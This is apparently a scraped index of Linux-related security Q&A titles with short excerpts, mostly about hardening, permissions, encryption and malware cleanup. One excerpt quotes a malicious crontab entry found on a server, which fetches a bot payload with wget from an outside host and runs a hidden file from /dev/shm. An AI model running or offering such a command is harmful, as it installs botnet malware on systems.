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Removing a Redirect Virus from Fedora Linux

Despite several attempts listed below certain websites are getting redirected to a certain ad website automatically, out of the blue on linux. When some website starts redirecting to this ad website ...
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Do `sudo` and `su` belong to capability-based security?

In Linux, do sudo and su belong to Capability-based security ? For example, when editing a system file, we usually need sudo or su to temporarily switch to user root. Does this example belong to ...
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how to gain root access to linux machine? [closed]

I am a security auditor and I have faced the following situation: A development company that has a group of Linux machines gives limited access to their users. They asked me to find out all the ...
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Joomla Linux Permissions

I installed Joomla 3 to /var/www/html directory in Cent OS 6 server. Currently /var/www/html is owned by apache:apache. What is the recommended permissions for Joomla installation on Linux in ...
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Security tradeoffs of pathname-based MAC (e.g., TOMOYO, grsecurity, AppArmor, …)

I have been learning about MAC (Mandatory Access Control) systems in Linux. Often, but not always, these are tied to Linux Security Modules. Some systems I've looked at: SELinux, Tomoyo, AppArmor, ...
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How to forbid one directory only in TOMOYO (2.5)?

(For example) I want to restrict write access to /home/backup from anybody, except a particular backup script. (To protect from accidental deletion.) For this, I suppose, it is enough to have two ...
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Is there an AES 256 LUKS encryption option in Fedora? [closed]

I have certain information on my drive that I don't want anyone (not even me ;) ) to gain access to. I read recently that Fedora only offers EAS 256 LUKS encryption. This just isn't secure enough ...
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iptables intercept received packet with proxy and then forward to destination

Lets say I receive internet through my eth1 port and share it via hotspot to other devices (wlan0 port) [internet]----(eth1)[my computer](wlan0 hotspot) | ...
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Are default ACL in Linux a security flaw?

I'm currently learning the Linux system and I have a question about the default Linux ACL. On my virtual machine, all files created are set with the default permissions as follows: -rw- rw- r-- ...
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Notifications (RSS or mailing list) of CVE with high scores for Windows and Red Hat? [closed]

I'm looking for a RSS feed or a mailing list that would allow me to be alerted of new CVEs impacting Windows or Red Hat that have a very high score, such as the recent ones for Shellshock and Winshock ...
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Do you really have to go to the extremes this guide says? [duplicate]

http://lifehacker.com/how-can-i-stay-anonymous-with-tor-1498876762 Alright, so here's a lifehacker guide on how to remain anonymous. Do you really have to go to this high level of extreme to remain ...
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Java SecureRandom doesn't block? How?

I know from experience that reading from /dev/random blocks when the Linux kernel entropy pool runs out of entropy. Also, I've seen many articles and blog entries stating that when running on Linux, ...
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What are the risks of making ether-wake available to all users?

The Linux ether-wake utility, which creates a magic packet to wake on lan another machine, requires root access: $ether-wake 12:34:56:78:9A:BC ether-wake: This program must be run as root. To give ...
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Downloading operating systems vulnerable to TCP amplification

I am doing a security research project on TCP amplification, and was looking to download vulnerable OS's for testing. From what I have researched mostly ancient linux kernels (2.0.x and below) and ...
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Can this be a DoS Attack?

When I'm checking my log, I found like 15k events of " PAM service(sshd) ignoring max retries; 6 > 3 " I know this might be normal, and considered as Brute-Force attack, but can it be classified as ...
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Do simple Linux servers really need a non-root user for security reasons?

Playing devil's advocate, Let's assume I purchase a Linux server from a hosting provider. I am given a password for the root user and am told I may login using SSH. The only purpose this server has ...
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Will setting a password for a linux login increase security?

I created a user that I use to login with using an SSL Key. I have not set a password. To be clear it is not an empty password, but an unset one. The /etc/shawdow has a single exclamation point ...
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How can I protect my computer from my potentially malicious colleagues?

So, I work in this small company (10 people) where we do stuff in programming, for various platforms. I started recently working there (2 months) right after I graduated. My work is not exactly ...
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Writing errors to Apache's log file from PHP - are there any pitfalls?

I'm updating an application to write slightly more verbose errors to the system log file (in this case, /var/log/apache2/mysite_error_log). I hope that I'm not asking the proverbial stupid question ...
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Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
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Specific Dangers in Joining a Linux Botnet?

Between the PHP-as-cgi-bin problem, and shellshock, I've seen 4 or 5 different Perl scripts that, when run, purport to make your machine part of some scary, heinous botnet. What, specifically, would ...
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Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 ...
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Open Source Vulnerability Scanner

I'm looking for an open source vulnerability scanner that I could install on one of my machines and point to all my others. Ideally, I'd be able to configure a nightly scan where all of my other nodes ...
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Besides OpenVas and Nessus, what are my other options for vulnerability detection?

I know of Nessus (which is $1300 for a pro feed) and OpenVAS (which I don't like). I use Linux so do I have any other options for vulnerability detection?
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IPtables accepting SMTP without being configured?

Well i was building a new server and inputed there some IPtables rules, i set postfix and send me an email to try it out, to my surprise the email reached perfectly without me declaring a rule for the ...
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Are these port secured on my AP?

I'm doing a project for my high-school and I'm trying to get the best security for my network. I've made almost everything in my access-point configuration and I have only 3 tcp/ports open on my AP: ...
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Postfix master running as root

Does running /usr/lib/postfix/master as a root could cause a security threat ? A fresh installation, gives this : root 11622 0.0 0.0 4792 1432 ? Ss 19:11 0:00 ...
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Security for home server, wiki

I recently set up my own home server, running Ubuntu linux. The intent I'm having for this is to have a private wiki for my family, so we can have a place to collect information like phone numbers, ...
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Encrypted container on top of a copy-on-write filesystem

The way I understand it, when you write to a copy-on-write filesystem, data never gets overwritten in place, instead new data is written to a new location, and the old data will only be overwritten ...
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How to capture the traffic of a computer in my LAN?

I have a machine with the Windows 10 preview installed and I want to capture all the traffic it sends for a day and then block all the MS hosts it sent data to without my direct permission. I don't ...
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How would you set up a ‘cold’ netbook for master-key signing, large Bitcoin transactions, etc? [closed]

I've just ordered a cheap-o netbook on Amazon, with the intention of installing a Linux distro, and turning it into a permanently-offline high-security machine for sensitive tasks. However, I'm no ...
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One liner to create passwords in linux?

How do you create a readable password using bash with one line? What if i'm looking for 128 bits of entropy? EDIT By readable I mean the 94 printable ascii characters (without space). It can use ...
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Ping Input box on web server vulnerable to piped commands?

Scenario is this. I have logged into a web server as admin through the Login page in browser. it has displayed me with a home page of sorts that has an input box with a button next to it saying ...
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How do I encrypt external drive with Password which is compatible with both Linux and Windows? [closed]

I wanted to encrypt my external drive with password, which is compatible in both Linux and Windows. Truecrypt is an option. But the development of it is stopped few months back. I came across ...
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How negative are virtual machines (vms) to /dev/urandom?

I looked at the questions here and here. This then piqued my interest as I've recently been involved with looking into FIPS compliance, and in my vm environment /dev/urandom compliance testing ...
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Disable SSLv3 system-wide for all clients?

After reading about Poodle secutrity bug, I have disabled SSLv3 on my servers and browsers. But there are several clients that do not expose settings detailed enough via their own means of ...
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UEFI secure boot and rootkits

I heard that with UEFI secure boot enabled a custom kernel module that is not signed will not run, hence a rootkit might be difficult to install. Can a secure boot really block rootkit modules from ...
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jRAT virus on Linux

I dumbly downloaded a .jar file that contained jRAT. When run, it stalls, gives a FileNotFoundException, then crashes. When I ls'd, the jar was there. When I cd'd out and back in, the jar was gone. ...
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ASLR does not seem to randomize text section

I wanted to make some basic tests on Linux ASLR, so i wrote the following code : #include <stdio.h> void funct(){ int a= 0; } void main(){ int b=0; printf("funct : %p\n", ...
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How to get SSL certificate of a mail server?

I need to get SSL certificate of some mail servers. I know I need to do execute following steps. Do a DNS mx query on the domain name (dig google.com mx). Use the information to download SSL ...
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Add a file as entropy source for /dev/random

What I have: A large file containing lots of secret, true-random bytes (yes, I'm sure they're not merely pseudo-random). I'll call it F. What I want to do: Tell Linux that it can use this file as an ...
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Private server security questions [duplicate]

I want to build my own server. It will have mail, ssh, and apache (slackware 14.1). Could you tell me what I should pay attention on when I secure my server? Should I install SELinux? It will be ...
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What is a specific example of how the Shellshock Bash bug could be exploited?

I read some articles (article1, article2, article3, article4) about the Shellshock Bash bug (CVE-2014-6271 reported Sep 24, 2014) and have a general idea of what the vulnerability is and how it could ...
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How would one go about setting up a system with security in mind? [closed]

I run a standard laptop at home (dual-boot Fedora 20 and Windows 7; the Windows side is almost never used). Soon my other computer will be working again; it will have Windows 8.1 and some flavor of ...
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Does KASLR really provide more security against exploits?

I know all about how ASLR works, and how it has been implemented on both Linux and Windows systems. It provides an extra layer of protection that malware has to take into account. But nowadays with ...
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Find and kill process that create malicious connections

State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 3640 my.public.ip.xx:https xxx.xx.xxx.xx:56206 SYN-SENT 0 1 ...
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Does dual boot hurt security?

On my laptop I have a well secured Linux installation that I would like to stay this way. It has in the past and could in the future contain confidential medical data I use for my study. I also have a ...
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Are windows users passwords easier to crack than linux?

If i set the same password in both linux and Windows, is it easier for a hacker to break the windows password? If so why and how can i create a windows password in the same security level as Linux?
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Capture query to MySQL in Server

I want to capture queries to MySQL from my web-application on my Linux-based Server. MySQL port is 3306 and my web-application in on port 8181. So I started using tcpdump as follow: # tcpdump -x ...
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Directory traversal & default filesystem permissions (755) for web server

I'm trying to get a better understanding of the potential security holes my default filesystem permissions might be creating. It appears I am capable of traversing my filesystem, serving simple php ...